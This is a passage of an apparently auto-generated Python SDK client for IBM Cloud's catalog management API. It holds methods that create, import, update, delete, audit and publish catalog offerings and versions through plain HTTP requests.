returned. For example don't return the readme. Makes the result much
smaller. Defaults to false.
:param str catalog: (optional) catalog id. Narrow search down to just a
particular catalog. It will apply the catalog's public filters to the
public catalog offerings on the result.
:param str select: (optional) What should be selected. Default is 'all'
which will return both public and private offerings. 'public' returns only
the public offerings and 'private' returns only the private offerings.
:param bool include_hidden: (optional) true - include offerings which have
been marked as hidden. The default is false and hidden offerings are not
returned.
:param int limit: (optional) number or results to return.
:param int offset: (optional) number of results to skip before returning
values.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `OfferingSearchResult` object
"""
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_consumption_offerings')
headers.update(sdk_headers)
params = {
'digest': digest,
'catalog': catalog,
'select': select,
'includeHidden': include_hidden,
'limit': limit,
'offset': offset
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/offerings'
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def list_offerings(self,
catalog_identifier: str,
*,
digest: bool = None,
limit: int = None,
offset: int = None,
name: str = None,
sort: str = None,
**kwargs
) -> DetailedResponse:
"""
Get list of offerings.
List the available offerings in the specified catalog.
:param str catalog_identifier: Catalog identifier.
:param bool digest: (optional) true - Strip down the content of what is
returned. For example don't return the readme. Makes the result much
smaller. Defaults to false.
:param int limit: (optional) number or results to return.
:param int offset: (optional) number of results to skip before returning
values.
:param str name: (optional) only return results that contain the specified
string.
:param str sort: (optional) The field on which the output is sorted. Sorts
by default by **label** property. Available fields are **name**, **label**,
**created**, and **updated**. By adding **-** (i.e. **-label**) in front of
the query string, you can specify descending order. Default is ascending
order.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `OfferingSearchResult` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='list_offerings')
headers.update(sdk_headers)
params = {
'digest': digest,
'limit': limit,
'offset': offset,
'name': name,
'sort': sort
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier']
path_param_values = self.encode_path_vars(catalog_identifier)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/offerings'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def create_offering(self,
catalog_identifier: str,
*,
id: str = None,
rev: str = None,
url: str = None,
crn: str = None,
label: str = None,
name: str = None,
offering_icon_url: str = None,
offering_docs_url: str = None,
offering_support_url: str = None,
tags: List[str] = None,
rating: 'Rating' = None,
created: datetime = None,
updated: datetime = None,
short_description: str = None,
long_description: str = None,
features: List['Feature'] = None,
kinds: List['Kind'] = None,
permit_request_ibm_public_publish: bool = None,
ibm_publish_approved: bool = None,
public_publish_approved: bool = None,
public_original_crn: str = None,
publish_public_crn: str = None,
portal_approval_record: str = None,
portal_ui_url: str = None,
catalog_id: str = None,
catalog_name: str = None,
metadata: object = None,
disclaimer: str = None,
hidden: bool = None,
provider: str = None,
repo_info: 'RepoInfo' = None,
**kwargs
) -> DetailedResponse:
"""
Create an offering.
Create an offering.
:param str catalog_identifier: Catalog identifier.
:param str id: (optional) unique id.
:param str rev: (optional) Cloudant revision.
:param str url: (optional) The url for this specific offering.
:param str crn: (optional) The crn for this specific offering.
:param str label: (optional) Display Name in the requested language.
:param str name: (optional) The programmatic name of this offering.
:param str offering_icon_url: (optional) URL for an icon associated with
this offering.
:param str offering_docs_url: (optional) URL for an additional docs with
this offering.
:param str offering_support_url: (optional) URL to be displayed in the
Consumption UI for getting support on this offering.
:param List[str] tags: (optional) List of tags associated with this
catalog.
:param Rating rating: (optional) Repository info for offerings.
:param datetime created: (optional) The date and time this catalog was
created.
:param datetime updated: (optional) The date and time this catalog was last
updated.
:param str short_description: (optional) Short description in the requested
language.
:param str long_description: (optional) Long description in the requested
language.
:param List[Feature] features: (optional) list of features associated with
this offering.
:param List[Kind] kinds: (optional) Array of kind.
:param bool permit_request_ibm_public_publish: (optional) Is it permitted
to request publishing to IBM or Public.
:param bool ibm_publish_approved: (optional) Indicates if this offering has
been approved for use by all IBMers.
:param bool public_publish_approved: (optional) Indicates if this offering
has been approved for use by all IBM Cloud users.
:param str public_original_crn: (optional) The original offering CRN that
this publish entry came from.
:param str publish_public_crn: (optional) The crn of the public catalog
entry of this offering.
:param str portal_approval_record: (optional) The portal's approval record
ID.
:param str portal_ui_url: (optional) The portal UI URL.
:param str catalog_id: (optional) The id of the catalog containing this
offering.
:param str catalog_name: (optional) The name of the catalog.
:param object metadata: (optional) Map of metadata values for this
offering.
:param str disclaimer: (optional) A disclaimer for this offering.
:param bool hidden: (optional) Determine if this offering should be
displayed in the Consumption UI.
:param str provider: (optional) Provider of this offering.
:param RepoInfo repo_info: (optional) Repository info for offerings.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Offering` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if rating is not None:
rating = convert_model(rating)
if created is not None:
created = datetime_to_string(created)
if updated is not None:
updated = datetime_to_string(updated)
if features is not None:
features = [convert_model(x) for x in features]
if kinds is not None:
kinds = [convert_model(x) for x in kinds]
if repo_info is not None:
repo_info = convert_model(repo_info)
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='create_offering')
headers.update(sdk_headers)
data = {
'id': id,
'_rev': rev,
'url': url,
'crn': crn,
'label': label,
'name': name,
'offering_icon_url': offering_icon_url,
'offering_docs_url': offering_docs_url,
'offering_support_url': offering_support_url,
'tags': tags,
'rating': rating,
'created': created,
'updated': updated,
'short_description': short_description,
'long_description': long_description,
'features': features,
'kinds': kinds,
'permit_request_ibm_public_publish': permit_request_ibm_public_publish,
'ibm_publish_approved': ibm_publish_approved,
'public_publish_approved': public_publish_approved,
'public_original_crn': public_original_crn,
'publish_public_crn': publish_public_crn,
'portal_approval_record': portal_approval_record,
'portal_ui_url': portal_ui_url,
'catalog_id': catalog_id,
'catalog_name': catalog_name,
'metadata': metadata,
'disclaimer': disclaimer,
'hidden': hidden,
'provider': provider,
'repo_info': repo_info
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier']
path_param_values = self.encode_path_vars(catalog_identifier)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/offerings'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
headers=headers,
data=data)
response = self.send(request)
return response
def import_offering_version(self,
catalog_identifier: str,
offering_id: str,
*,
tags: List[str] = None,
target_kinds: List[str] = None,
content: List[int] = None,
zipurl: str = None,
target_version: str = None,
include_config: bool = None,
repo_type: str = None,
**kwargs
) -> DetailedResponse:
"""
Import new version to offering from a tgz.
Import new version to offering from a tgz.
:param str catalog_identifier: Catalog identifier.
:param str offering_id: Offering identification.
:param List[str] tags: (optional) Tags array.
:param List[str] target_kinds: (optional) Target kinds. Current valid
values are 'iks', 'roks', 'vcenter', and 'terraform'.
:param List[int] content: (optional) byte array representing the content to
be imported. Only supported for OVA images at this time.
:param str zipurl: (optional) URL path to zip location. If not specified,
must provide content in the body of this call.
:param str target_version: (optional) The semver value for this new
version, if not found in the zip url package content.
:param bool include_config: (optional) Add all possible configuration
values to this version when importing.
:param str repo_type: (optional) The type of repository containing this
version. Valid values are 'public_git' or 'enterprise_git'.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Offering` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if offering_id is None:
raise ValueError('offering_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='import_offering_version')
headers.update(sdk_headers)
params = {
'zipurl': zipurl,
'targetVersion': target_version,
'includeConfig': include_config,
'repoType': repo_type
}
data = {
'tags': tags,
'target_kinds': target_kinds,
'content': content
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier', 'offering_id']
path_param_values = self.encode_path_vars(catalog_identifier, offering_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/offerings/{offering_id}/version'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
headers=headers,
params=params,
data=data)
response = self.send(request)
return response
def import_offering(self,
catalog_identifier: str,
*,
tags: List[str] = None,
target_kinds: List[str] = None,
content: List[int] = None,
zipurl: str = None,
offering_id: str = None,
target_version: str = None,
include_config: bool = None,
repo_type: str = None,
x_auth_token: str = None,
**kwargs
) -> DetailedResponse:
"""
Import a new offering from a tgz.
Import a new offering from a tgz.
:param str catalog_identifier: Catalog identifier.
:param List[str] tags: (optional) Tags array.
:param List[str] target_kinds: (optional) Target kinds. Current valid
values are 'iks', 'roks', 'vcenter', and 'terraform'.
:param List[int] content: (optional) byte array representing the content to
be imported. Only supported for OVA images at this time.
:param str zipurl: (optional) URL path to zip location. If not specified,
must provide content in this post body.
:param str offering_id: (optional) Re-use the specified offeringID during
import.
:param str target_version: (optional) The semver value for this new
version.
:param bool include_config: (optional) Add all possible configuration items
when creating this version.
:param str repo_type: (optional) The type of repository containing this
version. Valid values are 'public_git' or 'enterprise_git'.
:param str x_auth_token: (optional) Authentication token used to access the
specified zip file.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Offering` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
headers = {
'X-Auth-Token': x_auth_token
}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='import_offering')
headers.update(sdk_headers)
params = {
'zipurl': zipurl,
'offeringID': offering_id,
'targetVersion': target_version,
'includeConfig': include_config,
'repoType': repo_type
}
data = {
'tags': tags,
'target_kinds': target_kinds,
'content': content
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier']
path_param_values = self.encode_path_vars(catalog_identifier)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/import/offerings'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
headers=headers,
params=params,
data=data)
response = self.send(request)
return response
def reload_offering(self,
catalog_identifier: str,
offering_id: str,
target_version: str,
*,
tags: List[str] = None,
target_kinds: List[str] = None,
content: List[int] = None,
zipurl: str = None,
repo_type: str = None,
**kwargs
) -> DetailedResponse:
"""
Reload existing version in offering from a tgz.
Reload existing version in offering from a tgz.
:param str catalog_identifier: Catalog identifier.
:param str offering_id: Offering identification.
:param str target_version: The semver value for this new version.
:param List[str] tags: (optional) Tags array.
:param List[str] target_kinds: (optional) Target kinds. Current valid
values are 'iks', 'roks', 'vcenter', and 'terraform'.
:param List[int] content: (optional) byte array representing the content to
be imported. Only supported for OVA images at this time.
:param str zipurl: (optional) URL path to zip location. If not specified,
must provide content in this post body.
:param str repo_type: (optional) The type of repository containing this
version. Valid values are 'public_git' or 'enterprise_git'.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Offering` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if offering_id is None:
raise ValueError('offering_id must be provided')
if target_version is None:
raise ValueError('target_version must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='reload_offering')
headers.update(sdk_headers)
params = {
'targetVersion': target_version,
'zipurl': zipurl,
'repoType': repo_type
}
data = {
'tags': tags,
'target_kinds': target_kinds,
'content': content
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier', 'offering_id']
path_param_values = self.encode_path_vars(catalog_identifier, offering_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/offerings/{offering_id}/reload'.format(**path_param_dict)
request = self.prepare_request(method='PUT',
url=url,
headers=headers,
params=params,
data=data)
response = self.send(request)
return response
def get_offering(self,
catalog_identifier: str,
offering_id: str,
**kwargs
) -> DetailedResponse:
"""
Get an offering.
Get an offering.
:param str catalog_identifier: Catalog identifier.
:param str offering_id: Offering identification.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Offering` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if offering_id is None:
raise ValueError('offering_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_offering')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier', 'offering_id']
path_param_values = self.encode_path_vars(catalog_identifier, offering_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/offerings/{offering_id}'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
def replace_offering(self,
catalog_identifier: str,
offering_id: str,
*,
id: str = None,
rev: str = None,
url: str = None,
crn: str = None,
label: str = None,
name: str = None,
offering_icon_url: str = None,
offering_docs_url: str = None,
offering_support_url: str = None,
tags: List[str] = None,
rating: 'Rating' = None,
created: datetime = None,
updated: datetime = None,
short_description: str = None,
long_description: str = None,
features: List['Feature'] = None,
kinds: List['Kind'] = None,
permit_request_ibm_public_publish: bool = None,
ibm_publish_approved: bool = None,
public_publish_approved: bool = None,
public_original_crn: str = None,
publish_public_crn: str = None,
portal_approval_record: str = None,
portal_ui_url: str = None,
catalog_id: str = None,
catalog_name: str = None,
metadata: object = None,
disclaimer: str = None,
hidden: bool = None,
provider: str = None,
repo_info: 'RepoInfo' = None,
**kwargs
) -> DetailedResponse:
"""
Update an offering.
Update an offering.
:param str catalog_identifier: Catalog identifier.
:param str offering_id: Offering identification.
:param str id: (optional) unique id.
:param str rev: (optional) Cloudant revision.
:param str url: (optional) The url for this specific offering.
:param str crn: (optional) The crn for this specific offering.
:param str label: (optional) Display Name in the requested language.
:param str name: (optional) The programmatic name of this offering.
:param str offering_icon_url: (optional) URL for an icon associated with
this offering.
:param str offering_docs_url: (optional) URL for an additional docs with
this offering.
:param str offering_support_url: (optional) URL to be displayed in the
Consumption UI for getting support on this offering.
:param List[str] tags: (optional) List of tags associated with this
catalog.
:param Rating rating: (optional) Repository info for offerings.
:param datetime created: (optional) The date and time this catalog was
created.
:param datetime updated: (optional) The date and time this catalog was last
updated.
:param str short_description: (optional) Short description in the requested
language.
:param str long_description: (optional) Long description in the requested
language.
:param List[Feature] features: (optional) list of features associated with
this offering.
:param List[Kind] kinds: (optional) Array of kind.
:param bool permit_request_ibm_public_publish: (optional) Is it permitted
to request publishing to IBM or Public.
:param bool ibm_publish_approved: (optional) Indicates if this offering has
been approved for use by all IBMers.
:param bool public_publish_approved: (optional) Indicates if this offering
has been approved for use by all IBM Cloud users.
:param str public_original_crn: (optional) The original offering CRN that
this publish entry came from.
:param str publish_public_crn: (optional) The crn of the public catalog
entry of this offering.
:param str portal_approval_record: (optional) The portal's approval record
ID.
:param str portal_ui_url: (optional) The portal UI URL.
:param str catalog_id: (optional) The id of the catalog containing this
offering.
:param str catalog_name: (optional) The name of the catalog.
:param object metadata: (optional) Map of metadata values for this
offering.
:param str disclaimer: (optional) A disclaimer for this offering.
:param bool hidden: (optional) Determine if this offering should be
displayed in the Consumption UI.
:param str provider: (optional) Provider of this offering.
:param RepoInfo repo_info: (optional) Repository info for offerings.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Catalog` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if offering_id is None:
raise ValueError('offering_id must be provided')
if rating is not None:
rating = convert_model(rating)
if created is not None:
created = datetime_to_string(created)
if updated is not None:
updated = datetime_to_string(updated)
if features is not None:
features = [convert_model(x) for x in features]
if kinds is not None:
kinds = [convert_model(x) for x in kinds]
if repo_info is not None:
repo_info = convert_model(repo_info)
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='replace_offering')
headers.update(sdk_headers)
data = {
'id': id,
'_rev': rev,
'url': url,
'crn': crn,
'label': label,
'name': name,
'offering_icon_url': offering_icon_url,
'offering_docs_url': offering_docs_url,
'offering_support_url': offering_support_url,
'tags': tags,
'rating': rating,
'created': created,
'updated': updated,
'short_description': short_description,
'long_description': long_description,
'features': features,
'kinds': kinds,
'permit_request_ibm_public_publish': permit_request_ibm_public_publish,
'ibm_publish_approved': ibm_publish_approved,
'public_publish_approved': public_publish_approved,
'public_original_crn': public_original_crn,
'publish_public_crn': publish_public_crn,
'portal_approval_record': portal_approval_record,
'portal_ui_url': portal_ui_url,
'catalog_id': catalog_id,
'catalog_name': catalog_name,
'metadata': metadata,
'disclaimer': disclaimer,
'hidden': hidden,
'provider': provider,
'repo_info': repo_info
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier', 'offering_id']
path_param_values = self.encode_path_vars(catalog_identifier, offering_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/offerings/{offering_id}'.format(**path_param_dict)
request = self.prepare_request(method='PUT',
url=url,
headers=headers,
data=data)
response = self.send(request)
return response
def delete_offering(self,
catalog_identifier: str,
offering_id: str,
**kwargs
) -> DetailedResponse:
"""
Delete an offering.
Delete an offering.
:param str catalog_identifier: Catalog identifier.
:param str offering_id: Offering identification.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if offering_id is None:
raise ValueError('offering_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='delete_offering')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['catalog_identifier', 'offering_id']
path_param_values = self.encode_path_vars(catalog_identifier, offering_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/offerings/{offering_id}'.format(**path_param_dict)
request = self.prepare_request(method='DELETE',
url=url,
headers=headers)
response = self.send(request)
return response
def get_offering_audit(self,
catalog_identifier: str,
offering_id: str,
*,
id: str = None,
**kwargs
) -> DetailedResponse:
"""
Get the audit log(s) for offering.
Get the audit log(s) for offering.
:param str catalog_identifier: Catalog identifier.
:param str offering_id: Offering identifier.
:param str id: (optional) Log identification.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if offering_id is None:
raise ValueError('offering_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_offering_audit')
headers.update(sdk_headers)
params = {
'id': id
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['catalog_identifier', 'offering_id']
path_param_values = self.encode_path_vars(catalog_identifier, offering_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/offerings/{offering_id}/audit'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def replace_offering_icon(self,
catalog_identifier: str,
offering_id: str,
file_name: str,
**kwargs
) -> DetailedResponse:
"""
upload an icon for the offering.
upload an icon file to be stored in GC. File is uploaded as a binary payload - not
as a form.
:param str catalog_identifier: Catalog identifier.
:param str offering_id: Offering identification.
:param str file_name: Name of the file name that is being uploaded.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Offering` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if offering_id is None:
raise ValueError('offering_id must be provided')
if file_name is None:
raise ValueError('file_name must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='replace_offering_icon')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier', 'offering_id', 'file_name']
path_param_values = self.encode_path_vars(catalog_identifier, offering_id, file_name)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/offerings/{offering_id}/icon/{file_name}'.format(**path_param_dict)
request = self.prepare_request(method='PUT',
url=url,
headers=headers)
response = self.send(request)
return response
def update_offering_ibm(self,
catalog_identifier: str,
offering_id: str,
approval_type: str,
approved: str,
**kwargs
) -> DetailedResponse:
"""
Approve offering to be permitted to publish or to request to be published to IBM Public Catalog (IBMers only or Everyone).
Approve or disapprove the offering to be allowed to publish to the IBM Public
Catalog. Options:
* `allow_request` - (Allow requesting to publish to IBM)
* `ibm` - (Allow publishing to be visible to IBM only)
* `public` - (Allow publishing to be visible to everyone, including IBM)
If disapprove `public`, then `ibm` approval will not be changed. If disapprove
`ibm` then `public` will automatically be disapproved. if disapprove
`allow_request` then all rights to publish will be removed. This is because the
process steps always go first through `allow` to `ibm` and then to `public`. `ibm`
cannot be skipped. Only users with Approval IAM authority can use this. Approvers
should use the catalog and offering id from the public catalog since they wouldn't
have access to the private offering.'.
:param str catalog_identifier: Catalog identifier.
:param str offering_id: Offering identification.
:param str approval_type: Type of approval, ibm or public.
:param str approved: Approve (true) or disapprove (false).
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `ApprovalResult` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if offering_id is None:
raise ValueError('offering_id must be provided')
if approval_type is None:
raise ValueError('approval_type must be provided')
if approved is None:
raise ValueError('approved must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='update_offering_ibm')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier', 'offering_id', 'approval_type', 'approved']
path_param_values = self.encode_path_vars(catalog_identifier, offering_id, approval_type, approved)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/offerings/{offering_id}/publish/{approval_type}/{approved}'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
headers=headers)
response = self.send(request)
return response
#########################
# Versions
#########################
def get_version_about(self,
version_loc_id: str,
**kwargs
) -> DetailedResponse:
"""
Get the about information, in markdown, for the current version.
Get the about information, in markdown, for the current version.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `str` result
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_version_about')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'text/markdown'
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/about'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
def get_version_license(self,
version_loc_id: str,
license_id: str,
**kwargs
) -> DetailedResponse:
"""
Get the license content for the specified license ID in the specified version.
Get the license content for the specified license ID in the specified version.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param str license_id: The ID of the license, which maps to the file name
in the 'licenses' directory of this verions tgz file.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
if license_id is None:
raise ValueError('license_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_version_license')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['version_loc_id', 'license_id']
path_param_values = self.encode_path_vars(version_loc_id, license_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/licenses/{license_id}'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
def get_version_container_images(self,
version_loc_id: str,
**kwargs
) -> DetailedResponse:
"""
Get get the list of container images associated with this version.
The "image_manifest_url" property of the version should be pointing the a URL for
the image manifest, this api reflects that content.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `ImageManifest` object
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_version_container_images')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/containerImages'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
def deprecate_version(self,
version_loc_id: str,
**kwargs
) -> DetailedResponse:
"""
Deprecate the specified version.
Deprecate the specified version.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='deprecate_version')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/deprecate'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
headers=headers)
response = self.send(request)
return response
def account_publish_version(self,
version_loc_id: str,
**kwargs
) -> DetailedResponse:
"""
Publish the specified version so it is viewable by account members.
Publish the specified version so it is viewable by account members.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='account_publish_version')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/account-publish'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
headers=headers)
response = self.send(request)
return response
def ibm_publish_version(self,
version_loc_id: str,
**kwargs
) -> DetailedResponse:
"""
Publish the specified version so that it is visible to IBMers in the public catalog.
Publish the specified version so that it is visible to IBMers in the public
catalog.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='ibm_publish_version')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/ibm-publish'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
